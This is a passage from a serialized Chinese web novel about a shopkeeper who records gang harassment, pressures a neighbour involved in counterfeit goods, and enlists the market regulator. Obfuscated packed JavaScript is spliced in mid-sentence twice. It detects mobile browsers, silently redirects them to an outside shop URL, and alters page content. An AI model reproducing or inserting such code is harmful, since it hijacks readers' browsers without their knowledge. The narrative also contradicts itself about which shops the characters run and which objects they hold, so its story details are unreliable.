哪怕只是三五个人蹲在对面公交站,盯着铺子指指点点,烟蒂扔得满地都是,都得记下来。”他手指在笔记本上划着格子,力道重得让笔尖微微发颤: “左边写时间,精确到几点几分,比如‘上午9点17分’,别只写‘早上’;中间写地点,是铺子正门台阶,还是侧边通往后巷的窄道—— 那道窄道雨天会积水,他们要是在那儿晃,鞋印会沾泥;右边写情况,得像‘3人围堵买盐的张婶,抢走她手里刚买的洗衣粉,扔在地上踩了两脚,包装袋都破了; 盐撒了一地’这种细节,还有要不要报警、报警后回执单的编号,比如‘京公(朝)回执2023041508’,都得抄在最后一列,字别写太草,警察要看的。” 顿了顿,他从抽屉里翻出张皱巴巴的报纸剪报,边缘都快磨破了,是去年区里“向阳五金店遭寻衅,台账助警方破案”的新闻,标题旁边还画了道歪歪的红圈。 他指着新闻里“半年手写台账”几个字,指尖都泛白了:“别嫌这活儿琐碎,去年街口老周的五金店,就是靠半年的手写台账—— 连刀螂团伙偷换他家门锁芯的时间、换下来的旧锁芯扔在哪儿都记着——加上监控录像,把那伙人反复砸店、勒索的证据凑齐了,直接送进了派出所。 那些零散的记录凑起来,就是最硬的证据链,比你空口跟警察说‘他们欺负我’管用十倍。” 王猛点点头,把笔记本塞进帆布包,还特意用掌心按在“XX超市促销赠品”的褪色蓝字上,指节微微用力; 帆布的纹路都陷进肉里,像是要把本子嵌进包里才放心,包底的拉链还拉了两道,生怕漏出去。 与此同时,林凡坐在铺子的收银台后,收银台玻璃下压着几张零钱,一块的硬币边缘都磨圆了,五块的纸币折了道深痕。 他手指敲着计算器,指尖落在磨得发亮的塑料按键上,每一下“啪嗒”都撞在铺子里的水泥墙上,又弹回来,混着货架上玻璃瓶酱油偶尔晃出的轻响,在空荡的铺子里格外清楚。 他心里把刀螂和钱老西的关系捋了三遍,指腹反复蹭过计算器边缘那道深痕——是上个月搬货时被铁皮柜撞出来的,摸起来糙得硌手,像他此刻心里的疙瘩。 刀螂是为黑皮报仇——黑皮上个月趁林凡去仓库拿货,翻收银台偷了两条“中华”香烟,烟盒都捏皱了,被回来的林凡抓了现行,送进派出所判了半个月拘留。 刀螂是黑皮从小一起长大的发小,去年还帮黑皮收过赌债,收债时把人家的门都踹坏了,这口气自然咽不下; 可钱老西不一样,他跟黑皮只是在茶馆里凑过几次麻将的点头之交,凑进来掺和,全是为了仿冒围巾的利益。 林凡前几天傍晚关铺子时,撞见隔壁水果店的老张在巷口抽烟,老张把烟蒂摁在墙根的砖缝里,压低声音说: “钱老西那旧书铺就是个幌子,他背地里从城郊批发市场拿‘江南新款’的仿冒围巾,仿的是苏州‘苏绣阁’的爆款—— 米白色底绣着墨竹,竹叶子的针脚都歪了,吊牌上的‘苏绣阁’logo歪歪扭扭,线头都没剪干净,垂在下面晃。 进价才30块一条,他摆在书铺里的旧书架顶层,用块灰布盖着,有人问就说‘老手艺货’,标价200块卖,来问的都是外地游客,不懂行。 我上个月亲眼看见他从后门接了两箱,箱子上印着‘文具’,其实里面全是围巾,算下来单月利润至少1.2万,比他卖旧书的收入多三倍!” “这老狐狸精精得很,”林凡心里想,手指摩挲着计算器上的数字键,冰凉的塑料硌着指腹,“刀螂是莽夫,闹起来不管不顾,砸招牌、扔垃圾都敢; 但钱老西不一样,他最怕事情闹大,引来工商或者派出所—— 要是有人举报他卖仿冒品,工商一查,不仅要没收所有假货,还得按销售额的5倍罚款,铺子都可能被封,他绝不会愿意被刀螂拖下水。” 选了个顾客最少的下午—— 十月的阳光裹着桂花香,软乎乎地漫过街道,梧桐叶缝漏下的光斑落在青石板路上,像撒了把碎金,风一吹,光斑就跟着滚,连影子都晃得暖融融的。 铺子里的黄豆酱油香裹着巷口飘来的桂花香,甜咸揉在一起,漫在鼻尖,倒比平时多了点温软劲儿。 林凡的杂货铺从中午12点到下午2点,只来了个买打火机的大爷,大爷拄着木头拐杖,拐杖头都磨圆了,买完打火机还站在门口抽了支烟,烟味飘进铺子里,混着酱油香又散了。 对面钱老西的书铺更是冷清,门口的梧桐叶黄得发脆,在台阶上堆了半尺高,风一吹就往门里飘,踩上去“咔嚓”一声脆响,碎渣子还会粘在鞋底,钱老西连扫帚都没往外拿,门帘耷拉着,像没睡醒。 林凡把铺子门虚掩着,挂了块边缘磨掉漆的“临时有事,稍后营业”木牌,木牌上还沾着点去年贴春联的胶水,硬邦邦的,抠都抠不下来。 他揣了包刚买的橘子——老张塞给他的,说“刚进的,甜”——独自一人往书铺走,橘子的清香从塑料袋里透出来,混着桂花香,倒让他心里定了点。 刚推开书铺那扇吱呀作响的木门时,门轴上的锈铁皮“咔嗒”掉了一小块,落在水泥地上,滚了半圈才停下,铁锈渣子蹭在手心,凉丝丝的糙。 就看见钱老西躺在靠窗边的藤椅上,藤椅的扶手被摩挲得泛着琥珀色的光,有些地方的藤条断了,用细麻绳缠了两圈,坐下时还会发出“吱呀”的轻响。 他手里捏着份皱巴巴的《都市晚报》,报纸的社会新闻栏被他抠出个小破洞,边角都卷了边,像是被反复折过,油墨都蹭淡了,显然翻了不下十遍。 他听见动静抬头,看见是林凡,眼睛先是猛地一眯,眼角的皱纹挤成一团,像被揉皱又展开的旧报纸,连眼尾的老年斑都挤得更明显了,过了两秒才慢慢睁圆,带着点慌; 随即手里的报纸“啪”地掉在地上,报纸上的油墨蹭在水泥地上,黑了一小块。他赶紧弯腰捡起来,膝盖“咔嗒”响了一声,手指捏着报纸角,指节都泛白了; 嘴角扯出个似笑非笑的表情,露出两颗泛黄的门牙,牙缝里还塞着点茶叶末: “哟,这不是小林老板吗?稀客啊。怎么,今天不看你的杂货铺,反倒来我这破书铺里瞅书了? 我这儿可有几本民国的线装书,纸都黄了,脆得碰不得,上面还有毛笔字,墨都渗进纸里了,要不要翻翻?” 他边说边往书架那边抬了抬下巴,书架上的旧书蒙着一层厚灰,手指一摸就能沾满,显然很久没人动过,最上面还堆着个破搪瓷碗,碗里落满了灰。 林凡没绕圈子,他拉过旁边的旧木桌时,桌腿在水泥地上蹭出“吱啦”一声尖响,桌面上三道深划痕像被美工刀刻的,最宽的一道里还嵌着点灰,摸上去凹得硌手。 他腰杆挺得直,肩膀没垮,连后背的衣服都没皱,眼神没躲没闪,落在钱老西攥着报纸的手上——那双手指关节粗大,指腹上有层老茧,显然干过粗活。 他语气里带着街坊间的客气,尾音却没飘,落在地上实打实的,像他手里攥着的那枚刚从收银台摸的一元硬币,硬邦邦的: “钱老板,咱们都是这条街的街坊,我来之前还在您隔壁买了斤橘子——老张说您昨天还去他那儿称了两斤苹果,苹果还是刚卸的,带着露水呢。 我就开门见山了,今天来不是为了书,是想跟您聊聊街上最近的事——您也知道,这阵子不太平,我铺子门口都被人砸了两次了,招牌都没修好。” 钱老西眼皮慢悠悠地抬了抬,眼泡有点肿,像是没睡好,眼角还沾着点眼屎。他伸手端起桌上的搪瓷杯喝了口茶; 杯子上“劳动最光荣”的红字掉了一半,只剩“劳动”俩字还清楚,杯壁上的茶渍圈得密,深褐色的,最上面一圈还沾着点干了的茶叶末。 他喝的时候“吱溜”吸了一口,茶渍就粘在嘴角,没擦,故意把茶杯顿在桌上,发出“当”的一声响,茶渍都震得掉了点下来,落在水泥地上,晕开一小片。 他装糊涂道:“不太平?我怎么没觉得?黑皮那小子自作自受,偷东西被抓进去了,这街面上反倒比以前清静多了—— 我这几天卖书都顺心不少,昨天还卖出去本1980年的《三国演义》,封面都掉了,我用线缝了两针,赚了五十块呢,够我买两斤肉了。” “表面上是清静了,底下的暗流可没停。” 林凡往前凑了凑,手肘撑在木桌上,桌面的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607511|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灰蹭在袖子上,他没在意,声音压低了些,却更有分量,像是带着点凉意,刮在人耳朵上: “刀螂那伙人,天天在我铺子门口打转。昨天下午3点多,他们拿着钢管砸我挂在门口的招牌—— 就是红底黄字的‘全场八折’亚克力板,钢管砸上去时‘哐当’一声,震得我耳朵都麻了,招牌被砸出个拳头大的凹坑,‘折’字右边的‘斤’字碎成了三瓣; 最大的一块掉在台阶上,刚巧被路过的自行车轮碾过,‘咔嚓’一声脆响,碎成了渣子,风一吹就飘走了,我扫了半天才扫干净。 今天早上更过分,7点刚开门,就往我铺子里扔了个塑料袋,塑料袋‘啪’地砸在收银台旁边,烂白菜叶混着馊豆腐的酸臭味一下就飘满了铺子,呛得我直咳嗽。 汁水流在水泥地上,黑褐色的,还黏着点白菜筋,刘老太太拎着布兜刚跨进门,脚一滑差点摔了,手里的玻璃瓶酱油‘哐当’撞在门框上,瓶身沾了好几片黄菜叶,她手都抖了,说‘这是造的什么孽’。 我擦了半天才把地擦干净,酱油瓶上的菜叶抠都抠不下来。钱老板您消息灵通,这条街上哪家进了新货、哪家欠了房租、哪家孩子考了大学,没您不知道的,这些事您肯定听说了吧?” 钱老西干笑的时候喉咙里“嗬嗬”响,像被砂纸磨过的木头,又哑又涩,笑完还咳嗽了两声,手赶紧捂嘴,指缝里漏出点痰音。 他把手揣进藏青色棉袄口袋里,棉袄的领口起了层白绒球,左边袖口还破了个小口,露出里面灰扑扑的棉絮,他揣手的时候,棉絮又往外钻了点。 手指在口袋里搓来搓去,像是在捏什么软乎乎的东西,嘴上说:“呵呵,年轻人嘛,火气大。黑皮进去了,他们心里不痛快,闹点小情绪也正常。 林老板你年纪轻轻就开铺子,大气点,别跟这些毛头小子一般见识,忍忍就过去了—— 你看我,前阵子他们在我门口吐口香糖,粘在门槛上,我用铲子刮了半天,都没说啥。” “我不是不能忍,” 林凡语气里的温软一下散了,冷得像巷口早间的风,眼神也沉了,黑沉沉的,像冬天结了薄冰的河面,连眼睫毛都没动一下,就盯着钱老西的脸,一字一句地说,每个字都咬得清楚; 像是要刻在空气里: “我是怕再这么闹下去,把工商和派出所的人都引过来。 您也知道,现在街上查得严,上个月区里刚开展了‘社会治安专项整治’,红横幅还挂在街口呢,上面的字都没褪色。 要是有人举报说这儿有寻衅滋事的,派出所肯定得来蹲点,搞不好还会连带查周边商铺的资质; 到时候顺便查查您这铺子里卖的‘江南新款’围巾,到底是正品还是仿冒的,恐怕就经不起查了—— 毕竟‘苏绣阁’的正品围巾,吊牌上都有防伪码,刮开能查真伪,您那围巾上可没有,连吊牌都是用胶水粘的,一扯就掉。” 他顿了顿,故意提起上个月街口的事,声音又压低了些,像是说悄悄话,却字字扎心,落在钱老西耳朵里,跟锤子敲似的: “上个月街口的‘衣品轩’服装店,老板李姐之前也卖过仿冒的牛仔裤,裤腰上的牌子都是印错的,被顾客举报后,工商来查,光罚款就罚了5.8万,还没收了所有假货,封店半个月; 李姐后来跟我哭,说那半个月房租三千五,加上没法做生意的损失,前前后后快十万,她儿子的学费都差点没凑够,最后还是跟亲戚借的。 您说,这要是摊在谁身上,受得了吗? 钱老板您这书铺看着小,要是真被查出问题,可不是罚钱这么简单,说不定连营业执照都得被吊销,到时候您这每月一万多的围巾利润,可就没了。 做生意嘛,求的是财,图的是个安稳,您说是不是这个理儿,钱老板?” 林凡的话像软刀子,没说一句狠话,却把利害关系摆得明明白白: 刀螂再闹下去,不仅林凡的杂货铺要遭殃,钱老西的仿冒围巾生意也得黄——真闹到鱼死网破的地步,谁都没好处。 钱老西的脸一下就白了,蜡黄色全褪了,只剩纸一样的苍白色,连耳尖都没了血色。 嘴唇哆嗦着,嘴角还往下撇,像是要哭,又强忍着,手里的搪瓷杯“哐当”撞在桌上,茶水溅出来,湿了棉袄前襟,深褐色的印子一下就晕开了,连棉絮都吸了水,往下坠。 他盯着那印子,眼神直勾勾的,像没了魂,手指在口袋里攥着的进货单都皱成了团,纸角都被捏烂了,碎渣子掉在地上。 他呼吸也粗了,胸口一鼓一鼓的,像堵了口气没上来,喉咙里还发出“嗬嗬”的响,跟刚才的干笑完全不一样,带着点慌,连手都开始抖,搪瓷杯里的茶水晃得厉害,又洒了些出来。 第四十六章:巧拆联盟,依法护业 钱老西握着紫砂茶杯的手指猛地一顿—— 那杯子是他十年前从潘家园淘来的老物件,紫砂胎质温润得像浸了百年的玉,杯身刻着浅淡的“松鹤延年”纹,鹤翅的纹路细得要眯着眼才看清; 常年被茶水浸润的包浆在阳光下泛着蜜色的暖光,连杯口沿的细微磕碰都透着岁月磨出的柔光。 此刻却因他指尖骤然收紧的力道,指节泛了白,杯沿刚溅上的浅褐茶渍像墨滴入清水般,缓缓晕开一小圈深褐,连杯底积的茶垢都仿佛颤了颤。 他那张总堆着笑的圆脸瞬间绷紧,平日里笑起来会挤成褶皱的眼角,此刻像被无形的手扯平了,连苹果肌都垮了下来。眼底先是闪过一丝警惕—— 那是被人戳中隐秘时,瞳孔骤然收缩的本能反应,随即又被算计的光覆盖,他眯起眼,目光像老狐狸盯猎物般,在林凡的嘴角、攥着椅柄的手指上扫来扫去,连林凡衬衫袖口沾的一点书墨都没放过。 林凡话里的“弦外之音”,他听得比谁都明白。 这条东起朝阳路、西至滨河巷的文化街,青石板路被岁月磨得发亮,二十三家铺子挤在两侧,一半是飘着油墨香的书店、文具店,一半是飘着焦糖味的文创手作和咖啡简餐。 平时连顾客翻书都轻手轻脚,书页翻动的沙沙声能和咖啡壶的咕嘟声融在一起。 可刀螂那帮人最近天天堵在林凡书店门口,光着的膀子上爬着半截青色龙纹; 龙眼睛用红漆点着,一骂起来唾沫星子横飞,伸手就掀教辅书摊——《五年高考三年模拟》《小升初真题卷》散了一地,书页被风刮得哗啦响; 有位送孩子来买练习册的妈妈赶紧把孩子护在身后,手里攥着的作业本都皱了边。连巷口修鞋的张师傅都忍不住探出头,手里还捏着半截没钉完的鞋掌,铁砧子上的铜钉闪着冷光; 骂了句“没规矩”,又怕惹事似的缩了回去,围裙上的线头随着动作晃了晃。更要命的是,要是再这么闹下去,工商或派出所一旦介入,顺藤摸瓜查到他这“同行前辈”身上—— 去年他偷偷给刀螂介绍过三个二手书批发商,其中有个姓周的,手里还压着一批没办备案手续的旧期刊,纸页都发了黄; 就连他自己“文轩书铺”里,每月收的旧书里总有三五本没补全登记手续,有的还是民国时期的线装本,纸脆得碰一下都怕掉渣。 真要查起来,轻则罚款,重则停业,他这铺子可是攒了二十年的家底。 他可没忘去年隔壁粮油店王老板的惨事。 当时王老板帮远房表弟藏了两袋缺斤短两的东北大米,米袋上的“五常”字样都印得模糊。被顾客举报后,工商所的人带着电子秤上门,蓝白相间的制服在粮油店昏暗的灯光下格外扎眼。 不仅罚了五千块,还在店门口贴了张红底白字的“停业整顿”告示,浆糊没干,边角还翘着。那七天里,王老板天天蹲在店门口抽闷烟,烟蒂堆了小半袋,皮鞋上沾着的灰都没擦。 有老主顾来买香油,他只敢摆手,声音哑得像吞了砂纸。最后连中秋旺季的生意都错过了——巷口别家铺子挂着红灯笼; 进出的人手里提着月饼盒,只有他的粮油店关着门,玻璃上的告示被雨水浸得字迹模糊,连苍蝇都不愿多停。 足足缓了三个月,才把流失的老主顾拉回来,那段时间,王老板见了谁都低着头,背好像都驼了些。 沉默的半分钟里,钱老西的手指在杯沿磨来磨去,紫砂的颗粒感蹭得指尖发痒。 脑子里把这笔“利弊账”翻得底朝天:帮刀螂,万一被揪出来,自己这二十年的铺子就完了;不帮,正好借林凡的话跟刀螂撇清关系—— 毕竟刀螂上次还抢了他老主顾要的民国版线装《论语》,那本书的封皮是暗红色的,还带着原主人的藏书印,主顾当时摩挲着书脊,眼里的光他至今记得。 结果刀螂横插一杠,用低价截了胡,那主顾后来再没踏进过他的店,连路过都绕着走。最后他才缓缓把茶杯放在红木茶几上,杯底与桌面碰撞时发出“嗒”的轻响,像松了口气,又像下定了决心。 脸上立刻堆起几分“掏心窝子”的笑,眼角的褶皱又回来了,连声音都放软了: “小林啊,你这话算是说到我心坎里了!做生意讲究个和气生财,刀螂那小子仗着有两个混子朋友,整天咋咋呼呼的—— 上次他抢我主顾的《论语》时,还跟我甩脸子,说我‘老东西不懂行’,我早就看他不顺眼了。 这样,我明儿一早就去他那音像店找他,好好说道说道。不过丑话说在前头,那小子性子跟驴似的倔,说不定还会跟我急眼,未必肯听我的劝……” “钱老板肯出面,这份情我林凡记在心里,成不成都是您的心意。” 林凡适时打断,他注意到钱老西说“抢主顾”时,眼底闪过一丝真真切切的嫌恶—— 那眼神像看到了脏东西,连眉头都下意识皱了下,这说明两人本就有嫌隙,现在不过是借自己的话找个台阶下。 他顺着话茬补了句: “您看街东头的晨光文具和博雅文具,之前也为了抢学生生意,天天互相贴小字报,字写得歪歪扭扭; 还故意把进货价压得比对方低,晨光的进口钢笔卖三十,博雅就卖二十八,最后两家都没赚到钱,店员的脸都拉得老长。 后来还是晨光的李姐提了个主意,一起搞‘学生文具套餐’——晨光出银色的进口钢笔,笔帽上还刻着小星星,配米黄色纸的错题本; 博雅配印着小雏菊的本土文创作业本,加木质的‘读书乐’书签。一套卖五十八块,比单买便宜十块,学生们都爱买。 上个月我去买笔记本,听李姐说,晨光流水从三万八涨到了四万六,账本上的数字都用红笔圈了; 博雅也从两万五涨到三万,老板还特意给店员加了奖金。现在两家常凑在街中间的咖啡馆喝下午茶,桌上放着笔记本,记着各自的进货渠道,李姐还会给博雅的老板带自己烤的曲奇; 包装纸是粉色的。咱们做文化生意的,把市场蛋糕做大,让顾客来了能选到喜欢的东西,总比互相拆台、最后被整条街的人戳脊梁骨强,您说对吧?” 这话既给了钱老西台阶,又点透了“合作比对抗好”的理,钱老西连连点头,眼角的防备又松了几分,甚至起身给林凡添了杯热茶。 热水从茶壶里倒出来,冒着白汽,茶香混着紫砂的土腥味飘过来,溅在杯里的茶叶打着转,钱老西的手还抖了一下,热水溅在茶几上,他赶紧用袖子擦,那袖子的肘部都磨得发亮了。 离开“文轩书铺”,林凡沿着青石板路往回走。 秋日的阳光斜斜照下来,像撒了层金粉,把“林凡书店”的木质招牌晒得暖烘烘的,指尖碰上去,能摸到木纹的凹凸。 招牌右下角那只手绘的小猫,是去年他女儿三岁生日时歪歪扭扭画的,猫耳朵一个大一个小,尾巴翘得老高,当时女儿还沾了满手颜料,在他衬衫上印了个小巴掌。 此刻在阳光下,小猫的黄色颜料显得格外软和,像能伸手摸到毛茸茸的**。他心里清楚,钱老西这老狐狸未必会真的“约束”刀螂,但至少今天这番话,让钱老西心里多了个疙瘩—— 以后再想帮刀螂,就得先掂量掂量会不会烧到自己,这颗“分化的钉子”算是钉稳了,他紧绷了近一个月的肩膀,终于松了些。 回到家里,林凡先把卷闸门拉上一半,阳光从缝隙里漏进来,在地上投出长长的光带,灰尘在光里飘着。 又从柜台下翻出一个蓝色文件夹—— 那是他特意在晨光文具店挑的加厚款,封面有点磨白,四个边角都贴了米白色的透明胶防磨损,胶上还沾了点细碎的书屑。 里面整整齐齐夹着近一个月的骚扰记录,每一页都用银色的回形针别着佐证材料,回形针都按得服服帖帖,没有一点翘角: 10月3日,刀螂带两个染黄毛的小子堵在门口,当时三位送完孩子的妈妈正站在教辅区翻《五年级数学同步练习》,书页翻得沙沙响。 刀螂突然拍着柜台喊“这店卖盗版书,买回去坑你家娃”,声音大得震得柜台的笔都跳了下。 吓得三位妈妈赶紧收了书,其中穿米色风衣的刘女士,手里的练习册还没来得及放回书架,就攥着跑了出去,后来还特意在傍晚绕回来跟他道歉,声音轻轻的,带着愧疚: “实在怕惹麻烦,孩子还在外面等着……” 10月8日,刀螂故意把儿童区的绘本架往旁边一推,“哗啦”一声,《小熊宝宝绘本》《好饿的**毛虫》散了一地,彩色的书页像落了一地的花。 他还故意用鞋底碾了碾最上面的《我爸爸》,黑色的鞋印在黄色的封面上格外扎眼,把爸爸的笑脸踩出个黑印子。 旁边看绘本的小女孩,扎着两个小辫子,手里还攥着一本《猜猜我有多爱你》,吓得哇哇哭,眼泪滴在书页上,晕开了一小块。 最后清点时,损毁的12本绘本里,有3本还是刚进的精装版,封面是硬壳的,光进货价就花了246元,林凡当时摸着被碾皱的书脊,心疼得厉害。 10月15日,刀螂在店门口贴了三张“假货店”的小字报,用的是红色马克笔,字写得歪歪扭扭,还画了个丑丑的叉。 店里的监控正好拍清了他贴纸条的动作,连他袖口沾着的蓝油 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607512|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 漆都看得清清楚楚—— 那是前几天他帮隔壁装修店刷墙蹭的。 旁边服装店的陈老板正好在门口整理衣架,塑料衣架碰在一起叮当作响, 全程看在眼里,后来还主动在证人签字栏里写了详细经过,连刀螂说话的语气都记了下来: “那小子贴的时候还哼着歌,说‘让他再开,开不下去才好’……” 林凡把这些材料仔细复印了一份,复印机的灯光是冷白色的,照在纸上,字显得格外清晰。 又手写了一份《情况说明》,笔尖是黑色的中性笔,写得工工整整,没有一点涂改。他特意在里面用红笔标注: “自9月28日至10月18日,持续骚扰已导致本店客流量下降30%——以往周末平均能有50多位顾客,有的是来买教辅的学生,有的是来翻旧书的老人,现在只剩35位左右; 近两周营业额 从之前的每周6000元,降到了4200元,减少1800余元。 这种行为不仅影响本店合法经营, 更让不少家长不敢带孩子来文化街,上周有位妈妈跟我说‘怕孩子被吓着’,连街尾的文创店都反映客流少了,店里的陶艺体验课都没人报了,破坏了整条街的营商环境。” 下午两点,林凡拿着材料来到区工商所。这栋四层小楼刚翻新过,外墙是浅灰色的,门口挂着“维护市场秩序,保障商户权益”的红色横幅,风吹得横幅边角飘动,像在招手。 负责市场秩序的刘科长今年52岁,头发已经有些花白,两鬓的白发比头顶多,接过文件夹时,手指上还沾着刚写材料的蓝墨水,指腹上有常年握笔磨出的茧子。 他戴上黑框老花镜,镜腿有点松,用透明胶布缠了一圈,一页页仔细看,眉头越皱越紧,眉间的竖纹像刻出来的—— 厚厚的17页记录,时间跨度从9月底到10月中旬,几乎每隔两三天就有一次事件,不是偶然的口角,而是有针对性的恶意骚扰: 比如10月10日那次,刀螂故意在书店门口倒了一桶脏水,水里还飘着菜叶,正好泼在来买参考书的高中生裤脚上; 那学生穿着蓝色校服裤,湿了一大片,站在门口红了脸,后来再也没来过;10月12日,还故意把自行车停在书店门口; 车把歪着,挡住半个入口,车座上还沾着灰,直到傍晚才慢悠悠地推走,期间有三位顾客想进来,都被自行车挡了回去。 “小林,你反映的情况很具体,也很严重。” 刘科长把材料放在桌上,手指在《情况说明》上的“客流量下降30%”处敲了敲,指甲盖有点泛白,语气严肃却透着底气, “维护个体工商户的合法权益,打击扰乱市场秩序的行为,是我们工商所的核心职责,不能让老实人受委屈。 你放心,今天下班前,我们会和辖区派出所的治安组对接,明天一早就派人去文化街调查取证—— 上个月我们刚处理过小吃街的恶意骚扰案,是张记饺子馆雇人堵李记馄饨铺,不仅往馄饨汤里扔假发丝,还故意在门口放小鞭炮,炸得满地红纸,吓哭了旁边卖糖葫芦的小孩。 最后查出来后,涉案的3个人不仅赔了李记8000块损失,还被治安拘留了5天,张记老板也被警告,要是再犯就吊销营业执照。 该罚的我们绝不会轻饶,绝不让这种歪风邪气影响市场。” 他顿了顿,从抽屉里拿出一张黄色的值班电话纸条,纸有点薄,边缘有点卷,用钢笔在上面圈出重点号码,字迹力透纸背: “你回去正常开门做生意,要是再遇到他们**,别跟他们正面冲突——刀螂那帮人之前在别的街也闹过事,有次还动手推过卖水果的商户,把苹果都推撒了。 你直接打这个值班电话,我们所里24小时有人值班,保证15分钟内派人过来,绝不会让你一个人扛着。” 听着刘科长斩钉截铁的话,林凡心里那块悬了近一个月的石头终于落了半截,胸口像卸了重担,连呼吸都顺畅了。 他走出工商所的时候,正好遇到工作人员抱着一摞“维护市场秩序”的宣传册,绿色的封面,上面印着白色的字。 风把宣传册吹开一页,“保障个体工商户合法经营,共建良好营商环境”的黑色粗体字格外显眼,字的边缘还印着小小的星星图案。 他摸了摸口袋里的值班电话纸条,纸条有点皱,是牛皮纸的,指尖捏着,能感受到纸的厚度,心里透着稳—— 至少现在,他不用再一边守着书店,一边提心吊胆地盯着门口,怕刀螂突然闯进来掀摊子,怕顾客被吓跑,怕女儿画的小猫招牌下,再也没有笑着进来的人了。 第四十七章:破局与发展 官方的介入比预想的要快。 两天后,晨光刚漫过商业街青灰色的青砖路面,在砖缝里的青苔上投下细碎光斑时; 工商所的银灰色执法车就和派出所的蓝白警车一前一后停在了街口,轮胎碾过路面的轻响打破了清晨的宁静。 身着藏青色制服的工作人员拎着黑色的检查记录仪、红色手柄的消防检测工具走下车; 这场以“规范经营、优化环境”为名的突击检查,不仅来了6个人(比上次多了2位消防专员),还特意携带了最新版的《商户安全检查细则》,比以往任何一次都更显郑重。 检查清单上,消防设施、卫生条件、营业执照、商品质量仍是核心项目: 执法人员会单膝跪地,眼晴平视着查看灭火器压力表上的指针是否精准停在绿色的区域(低于1.2MPa就算不合格),翻开店铺仓储区的消毒记录册时; 还会用指尖点着日期核对“是否每天记录,有没有漏签”;到了童装货架区,他们会拿起一件浅蓝色的婴儿连体衣,先摸一摸面料厚度,再凑近吊牌仔细查看安全类别—— 确认是否标注“GB31701-2015A类”(这个标准是国家专门针对3岁以下婴幼儿制定的; 要求甲醛含量≤20mg/kg、pH值在4.0-7.5之间,还得能经受住50次水洗不褪色),甚至会拉开拉链检查里层的缝线是否有毛刺,怕划伤孩子皮肤。 当检查组走到“笑笑宝贝屋”门口时,步伐明显放缓。 工商所的刘科长—— 中等身材,鬓角有点发白,总爱把执法证别在胸前—— 先是绕着店铺外墙的红色消防栓走了一圈,用手背蹭了蹭接口处的金属,看有没有锈迹,又拧开侧面的水压表,确认指针指在0.8MPa的合格区间,才推门走进店里。 他翻台账时特意停在“进货渠道”那一页,手指划过“蓝天童装厂”的公章,才转头对林凡轻声问: “最近店里有没有遇到什么特殊情况?比如有人故意刁难,或者影响正常经营的事?” 一旁的**小王也跟着补充,他手里还握着个黑色记事本,笔尖悬在纸上方: “要是有麻烦别憋着,不管是堆垃圾还是砸玻璃,及时跟我们反映,我们有24小时值班电话。” 林凡攥着账本的手指紧了紧,指节泛白;他想起前几天半夜砸玻璃的事, 却怕给执法人员添麻烦,最终只点头道:“谢谢各位领导,目前都还顺利。” 这一幕,被斜对面五金店二楼窗帘后的刀螂看得清清楚楚。 他穿着件洗得发白的黑色T恤,嘴里叼着的烟卷烧到了滤嘴,烫得手一抖才扔进窗台上的易拉罐里—— 那罐子里已经堆了七八个烟蒂。前半个月,他还带着两个小弟在“笑笑宝贝屋”门口耍威风: 故意把馊了两天的外卖盒、沾着烂菜叶的塑料袋堆在店门口,酸臭味飘出好几米,有位提着菜篮子的张奶奶本来想给孙子挑件防晒衣,凑到门口皱着眉捂了捂鼻子,转身就走了; 看到年轻妈妈挑衣服,就凑过去假装“熟人”嘀咕“这料子是化纤的,穿久了容易起球,我侄女上次买了件,洗一次就变形了”; 到了晚上更过分,会拿小石子砸店铺临街的大橱窗,“哐当”一声响,玻璃上就多了道裂纹,有天半夜两点,林凡被砸玻璃的声音惊醒; 起来一看,橱窗右下角破了个拳头大的洞,冷风往里灌,他只能找块胶合板临时钉上,第二天找师傅换玻璃花了600元。 可现在,看到穿制服的人特意跟林凡“唠嗑”,他再浑也明白这是啥信号—— 上回东街“李记水果店”的李老板跟隔壁“鲜多铺”抢生意,“鲜多铺”老板找了混混骚扰; 不仅堵门不让顾客进,还划花了李老板的送货车,结果工商和派出所联合查了三次,最后骚扰的三个混混被拘留了5天,还罚了2000元; “鲜多铺”老板也被警告,差点吊销营业执照。“这姓林的小子,居然真敢找官方撑腰?”刀螂骂了句,又想起昨天钱老西找他的场景。 钱老西是这条街上的“老资格”,开了家叫“便民杂货铺”的小店,已经二十多年了,据说早年工商所年检时,他帮过一位老所长的忙,所以跟所里人多少有点交情。 昨天他把刀螂拉到巷子里,手里叼着个铜制烟斗,烟丝的味道混着霉味飘过来,慢悠悠道: “你别跟林凡较劲了,人家上周去工商所办营业执照延期,跟刘科长聊了半个多小时,还主动提了商业街的安全问题—— 你再闹,万一被当成‘黑恶势力’抓了,划算吗? 你那两个小弟还在上学,不怕留案底?”当时刀螂还不服气,梗着脖子说“他能奈我何”,现在看到检查的阵仗,才算彻底怂了。 从那天起,“笑笑宝贝屋”周围那些鬼鬼祟祟的身影没了,晚上也听不到石子砸玻璃的声音,连巷子里那盏坏了半个月的路灯,都被市政工人修好了,暖黄色的光把路面照得亮堂堂的。 笼罩在“笑笑宝贝屋”上空的阴云,似乎暂时散去了。 王猛——林凡的合作伙伴,总爱穿件蓝色运动服,帮着看店兼送货—— 抱着一摞刚到的童装外套冲进店里,嗓门比平时大了三分: “凡子,你这招太绝了!早上我在巷口碰到刀螂,他本来想跟我瞪眼,一看我往你店这边走,扭头就进小卖部了!” 他说着就要拍林凡的肩膀,却见林凡正对着电脑里的销售数据皱眉。 